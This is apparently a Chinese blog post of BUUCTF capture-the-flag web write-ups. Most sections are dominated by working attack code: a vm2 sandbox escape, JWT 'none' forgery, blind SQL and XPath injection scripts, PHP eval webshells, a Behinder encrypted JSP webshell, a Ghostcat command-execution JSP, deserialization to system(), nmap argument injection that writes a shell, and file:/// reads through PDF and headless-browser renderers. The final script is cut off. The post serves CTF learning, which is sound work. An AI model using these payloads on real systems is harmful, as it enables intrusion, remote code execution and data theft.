补一下最近的 BUUCTF 做题记录

[HFCTF2020]JustEscape

Node.js

利用报错可以得知前端 php ,后端是 vm2

1
2
3
4
(function(){
var err = new Error();
return err.stack;
})();

去 github 搜索 vm2 的漏洞找到以下的 payload

https://github.com/patriksimek/vm2/issues/225

1
2
3
4
5
6
7
8
(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
})()

但是 waf 很多字符,发现可以用数组绕过,所以最终 payload 是

1
/run.php?code[]=(function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString(); } })()

[HFCTF2020]EasyLogin

JWT

查看 app.js 发现是 koa 框架,根据框架搜到源码在 controllers/api.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

这里可以通过设置secretid为数组,加密算法为空绕过登陆验证,payload

1
2
3
4
import jwt
print(jwt.encode({"secretid":[],"username": "admin","password": "123456","iat": 158763206}, '', algorithm='none'))

#eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU4NzYzMjA2fQ.

然后直接访问 /api/flag 就行了

[HFCTF2020]BabyUpload

文件上传

要想拿到 flag 需要满足以下条件

1
2
3
4
5
6
7
8
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}

所以我们需要伪造 admin 然后再创建一个 success.txt 文件

看看代码逻辑,sess 文件存储在根目录,令 attr=. 就可以读取当前目录,文件名则为 sess_PHPSESSID,刚好文件的命名方式为 ‘文件名’ + ‘_’ + ‘文件内容哈希值’,所以满足伪造 admin 的条件,首先我们先读一下 sess 文件是用什么存储引擎的

1
2
3
4
5
6
import requests as rq

url = "http://91291e0d-960a-4f9c-91e0-c6f251ca14e1.node3.buuoj.cn/"
data = {"filename":"sess_c82aa666b4f44ff16a6e88bdd1fb6d1d","attr":".","direction":"download"}
res = rq.post(url, data=data)
print(res.text)

返回 sess 文件的内容是

1
usernames:5:"guest";

可以推测起采用的存储引擎是php_binary,本地自己生成一个 sess 文件

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'admin';
?>

打开自己的 php.ini 看看 session.save_path 在哪里,用十六进制打开文件我们可以看到 username 前面其实还有一个不可见字符0x08,它表示的是 username 的长度,所以在传文件时,我们需要注意这个不可见字符

image-20200518180309624

所以上传 sess 文件,所以文件名

1
2
3
4
5
6
7
8
9
10
import requests as rq
import hashlib

url = "http://91291e0d-960a-4f9c-91e0-c6f251ca14e1.node3.buuoj.cn/"
files = {"up_file": ("sess", '\x08usernames:5:"admin";')}
data = {"attr":".","direction":"upload"}
res = rq.post(url, data=data, files=files)
print(res.text)
PHPSSID = hashlib.sha256(b'\x08usernames:5:"admin";').hexdigest()
print(f'filename: sess_{PHPSSID}')

file_exists可以判断文件或目录是否存在,所以这里把 attr 改成 success.txt 即可

1
2
3
4
5
6
import requests as rq

files = {"up_file": ("kk", 'hack')}
data = {"attr":"success.txt","direction":"upload"}
res = rq.post(url, data=data, files=files)
print(res.text)

带上 admin 的 cookie 就可以看到 flag 了

[WUSTCTF2020]颜值成绩查询

异或盲注

有一个查询接口,简单测试可以发现

1
2
?stunum=1^1^1 => Hi admin, your score is: 100
?stunum=1^0^1 => student number not exists.

所以是布尔盲注,过滤了空格,祭出老脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from multiprocessing import Pool, Manager
import requests, time

def func(index, results):

l = 0
r = 127
m = (l+r)//2

while l<r:
url = 'http://c890296e-d508-471e-b89c-1dc73859c8a4.node3.buuoj.cn'
payload = f"1^(ascii(mid((select/**/value/**/from/**/flag),{index + 1},1))>{m})^1"
time.sleep(0.5)
paramsGet = {"stunum":payload}
res = requests.get(url, params=paramsGet)
if 'admin' in res.text:
l = m + 1
else:
r = m
m = (l + r) // 2
print(index + 1, m)
results[index] = m


if __name__ == "__main__":
num = 5
data_num = 50
data = range(data_num)
pool = Pool(processes=num)
manager = Manager()
results = manager.list([0]*data_num)
jobs = []
for d in data:
job = pool.apply_async(func, (d, results))
jobs.append(job)
pool.close()
pool.join()
print(results)
results = ''.join([chr(_) for _ in results])
print(results)

[WUSTCTF2020]朴实无华

代码审计

robots.txt 信息泄露

1
2
User-agent: *
Disallow: /fAke_f1agggg.php

访问一下响应头有东西

image-20200526171751316

然后是个代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

第一层可以利用十六进制绕过 intval ,intval(str)为0,但是intval(str+1) 会自动转换成数值

php7里面修复了这个漏洞

1
num=0x1234

第二层 md5 双哈希为 0e 绕过,检索一下就有了

http://wh4lter.icu/2017/10/15/php_MD5/

当然你也可以采用脚本爆破(不推荐,十分漫长)

1
2
3
4
5
6
7
8
9
10
11
import hashlib, vthread

@vthread.pool(100)
def find(v):
v = ('0e' + str(v)).encode()
vv = hashlib.md5(v).hexdigest()
if vv[:2] == '0e' and vv[2:].isdigit():
print('[+] find', v, vv)

for i in range(int(1e8), int(1e10)):
find(i)

随便拿一个

1
md5=0e00275209979

第三层空格用 ${IFS},命令直接用斜杠绕过

1
get_flag=ca\t${IFS}fll*

[WUSTCTF2020]CV Maker

文件上传

诶 注册登录随便传个马就 getshell 了

1
<script language='php'>@eval($_REQUEST['1']);</script>

连上去 ?1=system(‘cat /*’); 就行了

[WUSTCTF2020]easyweb

幽灵猫漏洞

随意上传文件就可以进行下载,得到任意读文件接口

1
/download?file=

报错得出了路径

image-20200522213124031

但是 uploads 目录并不能访问

查看 web.xml 发现使用了 tomcat.ajp 协议

image-20200522213604609

联想到用幽灵猫漏洞进行文件包含从而执行命令

https://github.com/00theway/Ghostcat-CNVD-2020-10487

先获取靶机的内网地址

1
/download?file=../../../../../../../etc/hosts

image-20200522212808809

上传可以命令执行的 js 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page import="java.util.*,java.io.*"%>
<%
out.println("Executing command");
Process p = Runtime.getRuntime().exec("ls /");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>

开一个 Linux Labs 运行 ajpShooter.py 执行命令执行

1
2
python3 ajpShooter.py http://174.1.115.127 8009 /WEB-INF/uploads/fe845d95-805e-4fb7-aac3-7bc
ca4c935ba.jsp eval

image-20200522212736292

后面直接 cat /flag* 就好了

[WUSTCTF2020]Train Yourself To Be Godly

tomcat

参考 https://imagin.vip/?p=1323 文章

打开是一个 tomcat 界面,报错现在当前目录在 examples

利用 Nginx 和 Tomcat 对某些标点解析的差异性进行目录穿越,进入后台页面

1
http://dcf11651-b9f9-4e12-80ed-038dbf7c34fb.node3.buuoj.cn/..;/manager/html

后台默认密码是 tomcat / manager

这里是利用弱口令 tomcat / tomcat

后面就是熟悉的 war 上传 webshell 了

上一个冰蝎的 shell

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

生成 war 包

或者打包成 zip 然后改成 war

1
jar cvf exp.war shell.jsp

直接上传会 404,因为路径会再添加一个 examples

修改路径后会出现 401,因为缺少了授权信息,需要我们自己添加 Authorization 头

1
Authorization: Basic dG9tY2F0OnRvbWNhdA==

添加后出现 403,这是因为我们比正常请求少了一个 cookie,在访问 /manager/html/ 时我们会返回一个 cookie

image-20200524183538086

但是添加 cookie 后我们还是 403

正确方法把那个 Set-Cookie 的返回包抓回来修改 Path 就可以上传成功了

image-20200524184430042

上传成功

image-20200524185133827

冰蝎连上去 flag 在环境变量

根目录也有 /flagggg

image-20200524194151982

[网鼎杯 2020 朱雀组]phpweb

**命令执行题目

一进去发现传参的参数是

1
func=date&p=Y-m-d+h%3Ai%3As+a

随意修改 func 参数发现如下报错

1
<b>Warning</b>:  call_user_func() expects parameter 1 to be a valid callback, function 'dte' not found or invalid function name in <b>/var/www/html/index.php</b> on line <b>24</b><br />

所以这里就是命令注入了,试了几个命令被 waf 了

先读一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func=readfile&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

显然这里给了一个反序列化的漏洞给我们,调用 unserialze 就可以触发没有经过过滤的 __destruct 函数了,payload 如下

一开始找不到 flag,直接 find 一下就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

function send_post($url, $post_data) {
$postdata = http_build_query($post_data);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => $postdata,
'timeout' => 15 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
return $result;
}

class Test {
// var $p = "find / | grep flag -s";
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}

$a = new Test();
$p = serialize($a);
$func = "unserialize";

$url = "http://4a1bc0f2-7e1f-4309-ab6d-f72e46bcc64c.node3.buuoj.cn/index.php";
$post_data = array(
'func' => $func ,
'p' => $p
);

echo send_post($url, $post_data);
?>

[网鼎杯 2020 朱雀组]Nmap

nmap 老漏洞

先打一个 127.0.0.1 试试,发现 nmap 完 ip 后会存储到一个 xml 文件里面,然后进行文件包含,首先我们需要知道 nmap 有部分文件读写的参数

1
2
3
4
5
6
7
8
9
# 读文件:
TARGET SPECIFICATION:
-iL <inputfilename>: Input from list of hosts/networks

# 写文件:
OUTPUT:
-oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
-oA <basename>: Output in the three major formats at once

所以我们可以这样读文件

1
127.0.0.1' -iL /flag -oN kk.txt '

image-20200519162615497

当然你还可以直接写 shell,这里 php 被过滤了,稍微用短标签和 phtml 绕过一下

1
127.0.0.1' <?= @eval($_REQUEST[1]);?> -oG kk.phtml '

[NPUCTF2020]ReadlezPHP

代码注入

查看源码接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

常用的命令函数被 ban 了,但是 assert 没有,直接构造,flag 在 phpinfo 里

1
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

[NPUCTF2020]ezlogin

xpath注入 + 任意读文件

查看 js 源码发现只有登陆成功就会跳到 admin.php,而且提交的数据是直接进行拼接的,猜测这里是 xpath 注入

1
var data = "<username>"+username+"</username>"+"<password>"+password+"</password>"+"<token>"+token+"</token>"; 

不了解 xpath 可以先学习一下

https://www.runoob.com/xpath/xpath-tutorial.html

xpath 注入可以参考这篇文章

https://www.tr0y.wang/2019/05/11/XPath注入指北/

具体注入脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
# coding:utf-8
import requests as rq
import re, string

url = "http://f2f86738-985d-4624-abbf-4ddf7606133d.node3.buuoj.cn/"
cookies = {"PHPSESSID":"478b12d3ea2eb03ae7a71cc867b05c08"}
headers = {"Content-Type":"application/xml"}
path = "/root/accounts/user[id=2]/password"
number = 0
cnt = 1
length = 0


def get_token():
res = rq.get(url, cookies=cookies)
token = re.findall(r'id="token" value="(.+?)"', res.text)[0]
return token

def get_number():
index = 1
while True:
token = get_token()
username = "' or count({})={} or '1".format(path, index)
payload = "<username>{}</username><password>admin</password><token>{}</token>"
data = payload.format(username, token)
res = rq.post(url + "/login.php", headers=headers, data=data, cookies=cookies)
print(f"[*] index: {index} {res.text}")
if "非法操作!" in res.text:
global number
number = index
print(f"[+] number: {index}")
break
else:
index += 1

def get_length():
index = 1
while True:
token = get_token()
username = "' or string-length(name({}/*[{}]))={} or '1".format(path, cnt, index)
payload = "<username>{}</username><password>admin</password><token>{}</token>"
data = payload.format(username, token)
res = rq.post(url + "/login.php", headers=headers, data=data, cookies=cookies)
print(f"[*] index: {index} {res.text}")
if "非法操作!" in res.text:
global length
length = index
print(f"[+] length: {index}")
break
else:
index += 1

def get_name():
name = ''
for index in range(1, length + 1):
for ch in string.printable:
token = get_token()
username = "' or substring(name({}/*[{}]), {}, 1)='{}' or '1".format(path, cnt, index, ch)
payload = "<username>{}</username><password>admin</password><token>{}</token>"
data = payload.format(username, token)
res = rq.post(url + "/login.php", headers=headers, data=data, cookies=cookies)
print(f"[*] index: {index} ch: {ch} {res.text}")
if "非法操作!" in res.text:
name += ch
print(f"[+] name: {flag}")
break

def get_vaule():
vaule = ''
index = 1
while True:
for ch in string.printable:
token = get_token()
username = "' or substring({}, {}, 1)='{}' or '1".format(path, index, ch)
payload = "<username>{}</username><password>admin</password><token>{}</token>"
data = payload.format(username, token)
res = rq.post(url + "/login.php", headers=headers, data=data, cookies=cookies)
print(f"[*] index: {index} ch: {ch} {res.text}")
if ch == string.printable[-1]:
print(f"[+] vaule: {vaule}")
return
if "非法操作!" in res.text:
vaule += ch
index += 1
print(f"[+] vaule: {vaule}")
break

'''
<root>
<accounts>
<user>
<id> 1 </id>
<username> guest </id>
<password> xxxx </password>
</user>
<user>
<id> 2 </id>
<username> adm1n </username>
<password> cf7414b5bdb2e65ee43083f4ddbc4d9f </password>
</user>
</accounts>
</root>
'''

if __name__ == "__main__":
# get_number()
# get_length()
# get_name()
get_vaule()

拿去 somd5 破解一下得到 admin 密码 adm1n:gtfly123

进去之后拿到题是 flag 在 /flag,一看 url 显然是个任意读文件,/etc/passwd 读取成功,访问 /flag 显示返回的页面中含有敏感内容,php 和 base 被 waf,但是可以大小写绕过,payload 如下

1
/admin.php?file=pHp://filter/convert.baSe64-encode/resource=/flag

[NPUCTF2020]验证🐎

node.js

查看源码

验证码的第一个逻辑

1
first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])

我们可以根据 js 中任意类型 + 字符串 = 字符串的特性绕过

1
{"e":"1","first":[0],"second":"0"}

然后就是绕命令执行

{“e”:”1”,”first”:[0],”second”:”0”}

1
2
3
4
5
6
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}

这里是使用了 js 的箭头函数进行绕过,然后通过 constructor 导出 Function 函数,利用 fromCharCode 编写 exp

image-20200523230936254

最后参照官方 payload 写出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests as rq
import re

def gen(cmd):
s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
return ','.join([str(ord(i)) for i in s])

url = "http://b8c28475-b09e-4632-9fc7-cf582bde39f0.node3.buuoj.cn/"
headers = {"Connection":"close","Content-Type":"application/json"}
cookies = {"PHPSESSION":"eyJhZG1pbiI6MCwicmVzdWx0cyI6W119","PHPSESSION.sig":"dOk8zRUiKwDaXbIyGNaaZdAmC9k"}

cmd = "cat /flag"
payload = '((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({}))))(Math+1)()'.format(gen(cmd))

data = '{"e":"%s","first":[0],"second":"0"}' % (payload)
res = rq.post(url, data=data, cookies=cookies, headers=headers)

flag = re.findall(r'<div id="res">([\s\S]+?)</div>', res.text)[0].strip()
print(flag)

[NPUCTF2020]ezinclude

哈希长度拓展攻击 + php7 文件包含

源码提示如下

1
<!--md5($secret.$name)===$pass -->

是个哈希长度拓展攻击的典型代码,这里不知道 secret 的长度,所以需要爆破

hashpumpy 的安装在 Windows 上需要 Microsoft Visual C++ 14.0

不想安装的朋友请移步 Linux

爆了很久发现根本爆破不了(x

看了看别人的题解据说是出题人出错了,填入 name 和 pass,然后用 cookie 的 hash 值替换一下 pass 就可以了:)

1
?name=1&pass=576322dd496b99d07b5b0f7fa7934a25

抓包发现它会跳转到一个 flflflflag.php,然后再跳转到 404.html,flflflflag.php 处有个文件包含

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

读不到常规 flag,所以我们需要命令执行,所以我们需要有个地方上传文件,读一下它的源码过滤了 data|input|zip 协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
?file=php://filter/convert.base64-encode/resource=flflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_啺颕人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

这里是会用到了 php7 的一个 bug,php 包含自身导致死循环的时候,同时上传一个文件,这个文件会得到保存,参考如下链接

https://www.jianshu.com/p/dfd049924258

这里为了降低难度给了一个 dir.php

1
2
3
<?php
var_dump(scandir('/tmp'));
?>

顺便看了眼别人的 wp,flag 在 phpinfo,所以最终 payload 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests as rq
from io import BytesIO
import re

url = "http://3976dcb8-83fd-4f63-9f84-1fb9ab24c6bd.node3.buuoj.cn/"

# upload payload
payload = "<?php phpinfo() ?>"
params = {"file":"php://filter/string.strip_tags/resource=/etc/passwd"}
files = {'file': BytesIO(payload.encode())}
res1 = rq.post(url + 'flflflflag.php', params=params, files=files)

# find tmpfile
res2 = rq.get(url + 'dir.php')
tmpfile = re.findall(r'"(php[\S]{6})"', res2.text)[0]
tmpfile = '/tmp/' + tmpfile

# get flag
params = {"file":tmpfile}
res3 = rq.get(url + 'flflflflag.php', params=params)
flag = re.findall(r'(flag{.+?})', res3.text)[0]
print(flag)

[b01lers2020]Welcome to Earth

娱乐题

一只右键源码和查看 js 文件可以发现最后的 /fight/ 接口下有如下 js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}

function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

// TODO: unscramble function
}

源码叫我们爆破,那我们当然要自己拼啦

1
pctf{hey_boys_im_baaaaaaaaaack!}

[b01lers2020]Life on Mars

sql 注入

查看 js 源码找到接口 /query?search=" + query

再看看 html 源码盲猜后台是 select xx from $_GET['query']

注入 ?search=arabia_terra union select 1,2# 即有回显

不想手工的可以直接 sqlmap

# sqlmap -u “http://xxxxx.node3.buuoj.cn/query?search=arabia_terra%20

最终 payload 如下

1
/query?search=amazonis_planitia UNION SELECT id, code FROM alien_code.code

[b01lers2020]Space Noodles

脑洞题

开头先列一下 HTTP 的请求方法,下面会用到

序号 方法 描述
1 GET 请求指定的页面信息,并返回实体主体。
2 HEAD 类似于 GET 请求,只不过返回的响应中没有具体的内容,用于获取报头
3 POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST 请求可能会导致新的资源的建立和/或已有资源的修改。
4 PUT 从客户端向服务器传送的数据取代指定的文档的内容。
5 DELETE 请求服务器删除指定的页面。
6 CONNECT HTTP/1.1 协议中预留给能够将连接改为管道方式的代理服务器。
7 OPTIONS 允许客户端查看服务器的性能。
8 TRACE 回显服务器收到的请求,主要用于测试或诊断。
9 PATCH 是对 PUT 方法的补充,用来对已知资源进行局部更新 。

这题有点魔幻,一上来就让我们猜五个接口,看源码就可以看到格式了

image-20200521224548138

接口如下

  • /circle/one/;
  • /two/;
  • /square/;
  • /com/seaerch/;
  • /vim/quit/.

接口 /circle/one/

GET、POST 不行试了一下万能 OPTIONS 有回显,是一个 PDF

先下载下来,好像没什么用

1
curl -X OPTIONS http://95d801c2-a4ba-4d3f-9027-e36053308fa7.node3.buuoj.cn/circle/one/ --output one.pdf

image-20200521225335651

接口 /two/

PUT 请求返回

1
Put the dots???

CONNECT 请求会返回一个 .png 文件,我们继续下下来

1
curl -X CONNECT http://95d801c2-a4ba-4d3f-9027-e36053308fa7.node3.buuoj.cn/two/ --output two.png

image-20200521225932745

得到文字

1
up_on_noodles

接口 /square/

DELETE 请求也有一个 .png 文件,是个文字游戏

1
curl -X DELETE http://95d801c2-a4ba-4d3f-9027-e36053308fa7.node3.buuoj.cn/square/ --output three.png

image-20200521230252676

游戏答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    E
S
I
R
P
E R
C E
A T
E P N
TASTES
L A U
D U L
E A
R C
A O
A
N

得到文字

1
tastes

接口 /com/seaerch/

GET 请求会返回

1
2
3
4
5
6
7
<htlm>

,,,,,,,,,<search> <-- comment for search --!>:

ERROR </> search=null</end>

</html>

要用到 search 参数,但是 ?search=1 没东西,所以我们放到 POST 那里试试看

1
2
3
4
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

search=1

结果返回

1
2
3
4
5
6
7
<htlm>

,,,,,,,,,<search> <-- comment for search --!>:

<query> 1 is not a good search, please use this one instead: 'flag' <try>

</html>

那我们就输入 flag,得到了

1
2
3
4
5
6
7
8
9
<htlm>

,,,,,,,,,<search> <-- comment for search --!>:

<query> good search</query>
results: <p>_good_in_s</p>:w


</html>

得到文字

1
_good_in_s

接口 /vim/quit/

BUUCTF 没法复现 TRACE 请求

这里的预期解是发送

1
TRACE /vim/quit/?exit=:wq

就会得到

1
2
3
4
5
6
   <hteeemel<body>>

<flag> well done wait </flag>
<text> this one/> <flag>pace_too}</flag>

</>

得到文字

1
pace_too}

上面 5 个接口拿到的文字拼起来

1
pctf{ketchup_on_noodles_tastes_good_in_space_too}

[b01lers2020]Scrambled

脑洞题

源码没什么东西,只有 Cookie 有点东西

frequency 是访问次数

transmissions只有中间四位不断变化,有斜杠,有大括号,猜测前两位应该是 flag,后两位是 flag 所在的位置

直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests as rq
import re, urllib

flag = ['_'] * 42
url = "http://7f46b512-f523-4788-8e86-e6c8b3deb002.node3.buuoj.cn/"
cookies = {"frequency":"1","transmissions":"x"}

while True:
res = rq.get(url, cookies=cookies)
cookie = res.headers["Set-Cookie"].split(';')[3].split('=')[2].replace("kxkxkxkxsh","")
cookie = urllib.parse.unquote(cookie)

if len(cookie) == 4:
index = int(cookie[-2:])
else:
index = int(cookie[-1])
flag[index] = cookie[0]
flag[index + 1] = cookie[1]

print(''.join(flag))
if '_' not in flag:
break

[FireshellCTF2020]Caas

文件包含

随意输入一段代码,我们可以知道它是 Linux 下对 c 语言的编译器

包含文件时如果文件不存在会报错,尝试

1
#include "/etc/passwd"

会爆出部分文件信息,所以这里是文件包含漏洞,直接包含 /flag 即可

1
#include "/flag"

[FireshellCTF2020]URL TO PDF

xss

vps 上创建如下 index.html

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///flag">
</body>
</html>

本地下载 pdf

1
curl -X POST http://b57370e7-5b4d-4485-a409-ea42090a26c4.node3.buuoj.cn/ -d "url=http://174.1.129.147:9999" --output flag.pdf

安装 pdfdetach

sudo apt install xpdf

利用 pdfdetach 分离 pdf

1
2
3
4
5
6
$ pdfdetach -list flag.pdf
1 embedded files
1: flag
$ pdfdetach -save 1 flag.pdf
$ cat flag
flag{c130bcef-78ec-4305-9c1d-645de0affa42}

[FireshellCTF2020]ScreenShooter

xss

和 URL TO PDF 很类似

根据 HTTP 查看客户端信息

image-20200524195743552

发现其用的是 PhantomJS,所以这里是用 js 来读 flag

参考一位日本师傅的 wp

https://st98.github.io/diary/posts/2020-03-23-fireshell-ctf.html

因为 flag 返回的是黑色字符,所以这里要把背景弄成白色才能看到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!doctype html>
<html lang="en">
<head>
<title>test</title>
<style>body { background: white; }</style>
</head>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function () {
document.body.innerText = xhr.responseText;
};
xhr.open('GET', 'file:///flag');
xhr.send();
